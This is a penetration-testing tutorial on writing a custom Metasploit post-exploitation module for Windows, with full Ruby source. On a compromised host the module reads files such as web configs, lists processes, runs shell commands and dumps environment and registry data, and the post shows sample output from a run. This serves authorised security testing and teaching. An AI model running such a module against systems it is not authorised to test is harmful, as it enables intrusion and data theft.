The exploitation of a machine is only one step in a penetration test. What do you do next? How can you pivot from the exploited machine to other machines in the network? This is the phase where you need to prove your post exploitation skills. Even if Metasploit is a complex framework, it is not complete and it sometimes needs to be extended.
Why would I write such a module?
Metasploit is the “World’s most used penetration testing software”, it contains a huge collection of modules, but it is not complete and you can customize it by writing your own modules.
Even if you manage to compromise a machine, you may ask yourself: “Now what?”. You can use one of the many Metasploit post exploitation modules, but what if you don’t find a suitable module for you? You may request it to the Metasploit community and developers but it may take a lot of time until it will be available. So why don’t you try to write your own module?
Learn from existing modules
The easiest way to build your post exploitation module is to start from an existing module. We will create a Windows post exploitation module, so we need to see how they work. We can find them, in Kali 1.1.0a, at the following location:
/usr/share/metasploit-framework/modules/post/windows/
They are organized in multiple categories, each one describes the functionality of the module:
drwxr-xr-x 2 root root 4096 Apr 6 07:23 capture drwxr-xr-x 2 root root 4096 Apr 6 07:23 escalate drwxr-xr-x 4 root root 12288 Apr 6 07:23 gather drwxr-xr-x 3 root root 4096 Apr 6 07:23 manage drwxr-xr-x 2 root root 4096 Apr 6 07:23 recon drwxr-xr-x 2 root root 4096 Apr 6 07:23 wlan
We will create a Windows Gather post-exploitation module, so we will look at existing modules in the /gather folder in order to understand how can we write our own module.
In our example, we will create a module that gathers some information from the victim:
- read file
- list processes
- system info
- execute command
- get environment variables
- read registry data
This example is only to understand what you can do with a post exploitation module and how to do it, however it is not recommended to do multiple things with a single module, it is better to split it by functionality.
Let’s start
First of all, we need to understand the architecture of a post-exploitation module so we will start from an existing one. For example gather/enum_domain_users.rb looks like this:
require 'msf/core' require 'rex' require 'msf/core/post/common' require 'msf/core/post/windows/registry' require 'msf/core/post/windows/netapi' class Metasploit3 < Msf::Post include Msf::Post::Common include Msf::Post::Windows::Registry include Msf::Post::Windows::NetAPI include Msf::Post::Windows::Accounts def initialize(info={}) super( update_info( info, 'Name' => 'Windows Gather Enumerate Active Domain Users', 'Description' => %q{ This module will enumerate computers included in the primary Domain and attempt to list all locations the targeted user has sessions on. If a the HOST option is specified the module will target only that host. If the HOST is specified and USER is set to nil, all users logged into that host will be returned.' }, 'License' => MSF_LICENSE, 'Author' => [ 'Etienne Stalmans <etienne[at]sensepost.com>', 'Ben Campbell' ], 'Platform' => [ 'win' ], 'SessionTypes' => [ 'meterpreter' ] )) register_options( [ OptString.new('USER', [false, 'Target User for NetSessionEnum']), OptString.new('HOST', [false, 'Target a specific host']), ], self.class) end def run sessions = [] user = datastore['USER'] host = datastore['HOST'] ...
We see a few things:
- some files are “required” (lines 1-5)
- some modules “included” (lines 9-12)
- there is a “initialize” procedure (line 14)
- there is a “run” procedure (line 38)
- the “initialize” procedure defines module information (lines 16-29)
- the “initialize” procedure registers some options (lines 31-35)
So, a module skeleton may look like this:
require 'msf/core' require 'rex' require 'msf/core/post/common' class Metasploit3 < Msf::Post include Msf::Post::Common def initialize(info={}) super( update_info( info, 'Name' => 'Module Name', 'Description' => %q{ Module description }, 'License' => MSF_LICENSE, 'Author' => [ 'Author <author[at]domain.com>', ], 'Platform' => [ 'win' ], 'SessionTypes' => [ 'meterpreter' ] )) register_options( [ OptString.new('OPTION', [false, 'Option']), ], self.class) end # Main method def run cmd_exec("calc.exe") end end
Module information
The easiest part is to edit the module information. Here are the fields:
- Name – Short module name in the following format: “Platform” “Category” “Short description”, such as “Windows Gather Get some info”.
- Description – Long description of the module, we can include details here
- License – MSF_LICENSE or other specific licence
- Author – An array of authors who contributed to the plugin
- Platform – As the names say, the platform such as “win” or “linux”
- SessionTypes – Shell or meterpreter. A shell session is more limited but in our module we will focus on a meterpreter session
Required files and included modules
We will focus only on Windows so we have to look at the following location in order to see what basic functionality already exists and what can we use:
root@pwn:/usr/share/metasploit-framework/lib/msf/core/post# ls -la * -rw-r--r-- 1 root root 5724 Apr 20 16:21 common.rb -rw-r--r-- 1 root root 16510 Apr 20 16:21 file.rb ... -rw-r--r-- 1 root root 915 Apr 20 16:21 windows.rb windows: total 252 ... -rw-r--r-- 1 root root 16432 Apr 20 16:21 registry.rb -rw-r--r-- 1 root root 10014 Apr 20 16:21 runas.rb -rw-r--r-- 1 root root 17418 Apr 20 16:21 services.rb ...
The “windows.rb” file just requires (automatically includes) the other files from the lib/msf/core/post/windows directory:
module Msf::Post::Windows ... require 'msf/core/post/windows/registry' require 'msf/core/post/windows/runas' require 'msf/core/post/windows/services' ... end
We can require these files containing specific modules and include contained modules. For example, “msf/core/post/windows/registry.rb” contains the “Registry” module so we can use registry functions by using:
require 'msf/core/post/windows/registry' class Metasploit3 < Msf::Post include Msf::Post::Windows::Registry
A basic post exploitation module may require at least the following:
require 'msf/core' require 'rex' require 'msf/core/post/common'
The “msf/core” is required for basic functionality such as constants and datastore, the “rex” is the library containing sockets, SSL, SMB, HTTP and a lot other useful stuff and “msf/core/post/common” allows us to execute shell commands.
Registered options
This is how our module options will look like:
In order to achieve this result, we have to register all options.
register_options( [ OptString.new('READFILE', [ true, 'Read a remote file: E.g. C:\\Wamp\\www\\config.php', 'C:\\Wamp\\www\\config.php' ]), OptBool.new('LISTPROCESSES', [ true, 'True if you want to list processes', 'TRUE' ]), OptBool.new('SYSTEMINFO', [ true, 'True if you want to get system info', 'TRUE' ]), OptString.new('CMDEXEC', [ true, 'Command to execute', 'ipconfig' ]), OptString.new('ENVIRONMENT', [ true, 'Enviroment variable to read. E.g. PATH', 'PATH' ]), OptString.new('REGISTRY', [ true, 'Registry data to read. E.g. HKLM\\SYSTEM\\ControlSet001\\Services', 'HKLM\\SYSTEM\\ControlSet001\\Services' ]), ], self.class)
We need to call “register_options” method and specify an array of all options. As you may see, there are different types of options available:
- OptBool – A boolean true or false value
- OptString – Any string
There are also other option types available: OptInt for a number, OptPort for a port number, OptAddress for an IP address, OptAddressRange for a range of IP addresses or OptPath for a path. These option types limit the user and force him to specify a valid value for each option.
The parameters for options are easy to understand. For example:
OptString.new('ENVIRONMENT', [ true, 'Enviroment variable to read. E.g. PATH', 'PATH' ])
Parameters:
- ‘ENVIRONMENT‘ – Option name
- true – If it is mandatory to set in order to use the module
- ‘Enviroment variable to read. E.g. PATH‘ – Option description
- ‘PATH‘ – Default option value
In the module code, we can get the specified values by accessing the “datastore” array: datastore[‘ENVIRONMENT’].
Run
As we already defined the module information and registered all desired options, we “just” need to code the module. Here is the place where your programming skills are required and you must get a little familiar with Ruby language. Even if you don’t know Ruby, you will find the above code straightforward and easy to understand.
Before, we just need to know how can we output data back to the module user:
- print_line – Print text
- print_status – [*] Print text
- print_good – [+] Print text
- print_error – [-] Print text
1. Read a file contents
First thing we want to do is to read a file. The “msf/core/post/file” file contains the “Msf::Post::File” module which provides us two useful functions, among many other:
- exist? – To check if a file exists
- read_file – To read a file
We check if the file exists. If it exists, we print it, if it does not, we just print an error message.
# Read the file if exist?(readfile) file_contents = read_file(readfile) print_good('File contents:') print_line('') print_line(file_contents) print_line('') else print_error('Cannot read specified file!') end
2. List processes
We can access the list of processes from “session.sys.process” using “get_processes” method.
# Print processes if it is requested if listprocesses == TRUE print_status('Process list:') print_line('') session.sys.process.get_processes().each do |x| print_good("#{x['name']} [#{x['pid']}]") end print_line('') end
3. System info
Here we get some system information. We can use “session.sys.config.sysinfo[‘OS’]” to get OS name or “session.sys.config.getuid” to get current user.
# System info if systeminfo == TRUE print_good("OS: #{session.sys.config.sysinfo['OS']}") print_good("Computer name: #{'Computer'} ") print_good("Current user: #{session.sys.config.getuid}") end
4. Execute command
We already found from the module template that we can use “cmd_exec” method in order to execute shell commands.
# Execute command print_status("Executing command: #{cmdexec}") print_line('') command_output = cmd_exec(cmdexec) print_line(command_output) print_line('')
5. Get environment variables
We can get environment variables values either by “session.sys.config.getenv” for a single variable or by “session.sys.config.getenvs” for multiple values.
# Get environment variables environment_var = session.sys.config.getenv(environment) other_environ = session.sys.config.getenvs('USERNAME', 'TMP', 'COMPUTERNAME') print_good("Environment variable #{environment} = #{environment_var}") print_good("Username: #{other_environ['USERNAME']}") print_good("Temporary data folder: #{other_environ['TMP']}") print_good("Computer name: #{other_environ['COMPUTERNAME']}") print_line('')
6. Read registry data
We will just enumerate registry keys in order to see all services for example and we will use “registry_enumkeys” method, but there are also other methods available to read, write or delete data from registry.
# Read registry data print_status("Enumerate registry keys from #{registry}") print_line('') reg_vals = registry_enumkeys(registry) reg_vals.each do |x| print_good("Service: #{x}") end print_line('')
Final module
This is how our Metasploit post exploitation module looks like:
## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'msf/core/post/file' require 'msf/core/post/windows' require 'rex' class Metasploit3 < Msf::Post include Msf::Post::File include Msf::Post::Windows::Registry def initialize(info={}) super(update_info(info, 'Name' => 'Windows Gather SecurityCafe Test', 'Description' => %q{ This module is for tests }, 'License' => MSF_LICENSE, 'Author' => [ 'Ionut Popescu <contact[-at-]securitycafe.ro>' ], 'Platform' => [ 'win' ], 'Arch' => [ 'x86' ], 'SessionTypes' => [ 'meterpreter' ], )) register_options( [ OptString.new('READFILE', [ true, 'Read a remote file: E.g. C:\\Wamp\\www\\config.php', 'C:\\Wamp\\www\\config.php' ]), OptBool.new( 'LISTPROCESSES', [ true, 'True if you want to list processes', 'TRUE' ]), OptBool.new( 'SYSTEMINFO', [ true, 'True if you want to get system info', 'TRUE' ]), OptString.new('CMDEXEC', [ true, 'Command to execute', 'ipconfig' ]), OptString.new('ENVIRONMENT', [ true, 'Enviroment variable to read. E.g. PATH', 'PATH' ]), OptString.new('REGISTRY', [ true, 'Registry data to read. E.g. HKLM\\SYSTEM\\ControlSet001\\Services', 'HKLM\\SYSTEM\\ControlSet001\\Services' ]), ], self.class) end # Main method def run readfile = datastore['READFILE'] listprocesses = datastore['LISTPROCESSES'] systeminfo = datastore['SYSTEMINFO'] cmdexec = datastore['CMDEXEC'] environment = datastore['ENVIRONMENT'] registry = datastore['REGISTRY'] print_status('Starting module...') print_line('') # Read the file if exist?(readfile) file_contents = read_file(readfile) print_good('File contents:') print_line('') print_line(file_contents) print_line('') else print_error('Cannot read specified file!') end # Print processes if it is requested if listprocesses == TRUE print_status('Process list:') print_line('') session.sys.process.get_processes().each do |x| print_good("#{x['name']} [#{x['pid']}]") end print_line('') end # System info if systeminfo == TRUE print_good("OS: #{session.sys.config.sysinfo['OS']}") print_good("Computer name: #{'Computer'} ") print_good("Current user: #{session.sys.config.getuid}") print_line('') end # Execute command print_status("Executing command: #{cmdexec}") print_line('') command_output = cmd_exec(cmdexec) print_line(command_output) print_line('') # Get environment variables environment_var = session.sys.config.getenv(environment) other_environ = session.sys.config.getenvs('USERNAME', 'TMP', 'COMPUTERNAME') print_good("Environment variable #{environment} = #{environment_var}") print_good("Username: #{other_environ['USERNAME']}") print_good("Temporary data folder: #{other_environ['TMP']}") print_good("Computer name: #{other_environ['COMPUTERNAME']}") print_line('') # Read registry data print_status("Enumerate registry keys from #{registry}") print_line('') reg_vals = registry_enumkeys(registry) reg_vals.each do |x| print_good("Service: #{x}") end print_line('') end end
Running the above module targeting a Windows machine, using some default and some specified values, will output the following information:
msf post(securitycafe) > set SESSION 1 SESSION => 1 msf post(securitycafe) > set ENVIRONMENT LOGONSERVER ENVIRONMENT => LOGONSERVER msf post(securitycafe) > set CMDEXEC whoami CMDEXEC => whoami msf post(securitycafe) > run [*] Starting module... [+] File contents: <?php $private_data = 'HERE'; ?> [*] Process list: [+] [System Process] [0] [+] System [4] [+] smss.exe [452] [+] csrss.exe [596] [+] wininit.exe [692] [+] csrss.exe [720] [+] services.exe [764] ... [+] OS: Windows 7 (Build 7601, Service Pack 1). [+] Computer name: Computer [+] Current user: PENTEST\Ionut [*] Executing command: whoami pentest\ionut [+] Environment variable LOGONSERVER = \\PENTEST [+] Username: Ionut [+] Temporary data folder: C:\Users\Ionut\AppData\Local\Temp [+] Computer name: PENTEST [*] Enumerate registry keys from HKLM\SYSTEM\ControlSet001\Services [+] Service: .NET CLR Data [+] Service: .NET CLR Networking [+] Service: .NET CLR Networking 4.0.0.0 [+] Service: .NET Data Provider for Oracle [+] Service: .NET Data Provider for SqlServer [+] Service: .NET Memory Cache 4.0 [+] Service: .NETFramework ... [*] Post module execution completed msf post(securitycafe) >
Conclusion
Metasploit offers a great post exploitation support but you are limited to the existing modules. So if you need to write your own post exploitation module you may find out that this is not as difficult as it might sound.
The frameworks offers a lot of functionality in your module: access files, registry, execute commands and even call Windows API functions by using “session.railgun“.
The documentantion is not comprehensive, but you can learn from existing modules. However, the Metasploit wiki is a good place to start.
References
How to get started with writing a post module
How to use Railgun for Windows post exploitation
How to Write a Metasploit Post-Exploitation Module
Metasploit post exploitation documentation
Steven Haywood – Introduction to Metasploit Post Exploitation Modules
2 comments